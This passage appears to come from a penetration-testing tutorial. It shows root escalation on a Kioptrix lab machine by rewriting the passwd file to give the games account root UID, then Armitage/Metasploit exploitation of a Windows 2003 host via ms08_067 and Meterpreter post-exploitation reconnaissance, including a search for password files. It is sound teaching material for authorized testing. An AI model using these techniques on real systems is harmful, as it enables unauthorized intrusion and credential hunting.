Because of the restrictions imposed on us in the reverse shell, we use awk to create a modified version of the file. We change the user and group UID to equal that of root and add the /bin/bash shell so that we can log in remotely:

cp passwd passwdOLD

Before we change any existing files, we should back them up first. This is especially important when performing a test for a client:

cp test passwd

We copy the modified test file to overwrite passwd:

chmod 644 passwd

Changing the permissions back to match those of the original file may prevent future complications:

passwd games
  New password: 1funnypassword
  Retype new password: 1funnypassword
  Changing password for user games
  passwd: all authentication tokens updated successfully

We add a password to the games account. The current SSH account does not allow for blank passwords.

Open up a new terminal on your Kali machine and connect back to Kioptrix using your new account. Use the password you created for the games account (1funnypassword if you followed along exactly):

# ssh -l games 192.168.75.14
  [email protected]'s password:
  Last login: Mon Jan  9 00:35:42 2012 from 192.168.75.25
bash-2.05# whoami
  root

We connected to the SSH server using the modified games account. All previous shell restrictions are now removed, and we can use any command on the system such as vi sudo without error.

There are many important files and directories in a Windows machine. Some of these include the following:

At this point, we should already be comfortable with using "old school" methods of manual exploitation. Understanding the nuts and bolts of how penetration testing occurs will increase the ability to troubleshoot more powerful tools when something goes wrong. It also allows you to become comfortable enough to eventually create your own modules and proof of concept exploit code. The pentesting process does not really change from test to test. It consists of enumeration, data gathering, and exploitation, followed by post-exploitation. There are many different tools and methods that can be used to accomplish these tasks however. In this section, we will be taking advantage of the ease and simplicity of Armitage, which according to its website and author "is a comprehensive red team collaboration tool for Metasploit…" (http://www.fastandeasyhacking.com/manual2.slp). Armitage was created by Raphael Mudge and is available to the public at http://fastandeasyhacking.com/. It is also preinstalled on Kali. The manual that is freely available at the site is well written and easy to follow. In a terminal window, enter:

# armitage

This command will invoke the Armitage program. When the Connect... window appears, click on the Connect button. When prompted if you would like to start the Metasploit RPC server, choose Yes. The first time you run Armitage, it may take a few minutes to fully load. If it fails, read the error message and follow the steps mentioned there. An example of the Armitage program is shown in the following image:

Take a few moments to familiarize yourself with the Armitage graphical user interface before continuing.

Armitage allows for several methods of gathering data. We will use the Nmap functionality to review what is on the sample network. In the top Armitage navigation bar, choose Hosts | Nmap Scan | Quick Scan (OS detect). An example of this is shown in the following image:

Enter 192.168.75.0/24 to scan the proper VMnet8 subnet:

The scan will take a few moments to complete. Once it has, you will be presented with a message stating that your scan is complete and that the Find Attacks option should be used to find attacks. An example of this is shown in the following image:

If the network is set up properly, you should see something similar to the following image:

That's it! We have successfully enumerated the VMnet8 network and our systems are displayed graphically within Armitage.

Exploitation using Armitage is a breeze and so simple that one has to be very careful when selecting targets. After ensuring that the targets enumerated are within scope, select Attacks | Find Attacks. When the process has completed, you will be presented with a popup stating that the analysis is complete. An example of this is shown in the following image:

Now it is time to take over this Windows 2003 machine using the ms08_067 vulnerability. Rarely has exploiting a vulnerability been as consistent and easy as this one. Right-click on the Windows system icon in the workspace and select Attack | smb | ms08_067_netapi. This is shown in the following image:

A configuration menu will appear. Everything will be filled out and ready to go. Click on Launch to continue. Refer to the following image for an example:

If everything worked properly, the icon in the workspace will change to resemble the following image:

The lightning bolts are a graphical indicator that you have successfully compromised this machine.

Congratulations, the Windows system has been compromised, and we are now able to take advantage of the combination of Armitage and Meterpreter to perform our post-exploitation processes. By right-clicking on the image of the compromised machine, we are able to select from a large menu of options.

Let's begin by reviewing what is on the target system by right-clicking on the host and choosing Meterpreter <#> | Explore | Browse Files. Not only are we presented with a nice listing of files, but it is in an easy to use graphical explorer format. For those of us who are more comfortable with a GUI than with the command line, this should be a breath of fresh air! An example of this is shown in the following image:

Regardless of the operating system, we still need to know what types of tools we have available on the target system. It is also very important that we determine what type of system we are interacting with. This can be determined by reviewing the running processes, installed software, user history, and more. We will need to take advantage of the meterpreter shell to pull some of this data.

We should start with some of the more basic commands. In Armitage, right-click on the compromised system and choose Meterpreter <#> | Interact | Meterpreter Shell. At the meterpreter prompt, type sysinfo. An example of the output of this command is shown in the following image:

As with Linux, it is very important to gather networking information as soon as possible. Meterpreter allows the use of the ipconfig command. This reveals the network configuration, as shown in the following image:

This is definitely the type of information that is a joy to see in the real world. This particular system has two distinct network cards, and the possibility that the system could be used to explore the 192.168.50.0/24 network is high. Before we move on, we should take a look at the routing table and other networking information. An example of this information is shown in the following image:

Nothing very interesting here; not every file you find will lead to dramatic and exciting discoveries. That aside, it is still very important to be as thorough as possible. Penetration testing can be very similar to detective work, where you are constantly looking for clues that will lead to the next step.

Now, we need to determine if there are any interesting network connections coming from this machine. These connections could very well lead us to our next targets and assist us in setting overall priorities. Your time to test the network is almost certainly limited, and you should focus on the most attractive targets to ensure efficiency. Remember to look for more than just gaining shells on machines; the business units need to understand their true exposure, not see how many unknown systems you could pop.

We can use netstat -ano to look at the connections, just as we did earlier with Linux; an example of this output is shown in the following image:

Now, we have something interesting. Take a look at the connection between this host and 192.168.50.136 on port 80. It looks like we may have a web server running on that machine! This is definitely good news. At this point, we seem to have more interesting devices on the 192.168.50.0/24 network than we do on the 192.168.75.0/24 subnet. If the tools exist on the target machine, we can already launch a scan from this host.

At this point, we have already reviewed the local processes and network connections, and had access to the file structure. Now, we are at the point where we may want to take a look at some of the other networks this system has access to and determine if Nmap or other tools are installed that could be valuable. Here is how we can find information on a Windows-based operating system. It is a bit of a workaround, as there does not seem to be a direct replacement for locate or which available on Windows systems:

c:> dir c: /s /b | find /i "password"

This command will pipe all directories into the find command, which will look for the string password in the filenames, regardless of case. An example of this is shown in the following image:

This command will come in handy when trying to find any installed software, or trying to locate interesting files.

The simple method of finding installed software on a Windows machine would be to take a look at the installed programs, especially with desktops; odds are that the system has all of the default Windows tools available. What you will be interested in are the more obscure items, like a TFTP server or a network scanner that you can take advantage of.

Let's take a look at the installed programs the old fashioned reg.exe way:

reg export HKLMSoftwareMicrosoftWindowsCurrentVersionUninstall tmp.txt

With this command, we export the registry information contained in the HKLMSoftwareMicrosoftWindowsCurrentVersionUninstall key. We can review the findings directly with the type command:

type tmp.txt

An example of a portion of the results is shown in the following image:

One portion of this file is interesting indeed. Take a look at the VMware Tools. At this point, we should begin to understand that we may be dealing with a virtualized system. Of course, ideally we would be pulling down the entire registry as it has a tremendous amount of data available that should be sifted through on your own machine. There is no sense in staying connected to a machine longer than you need to.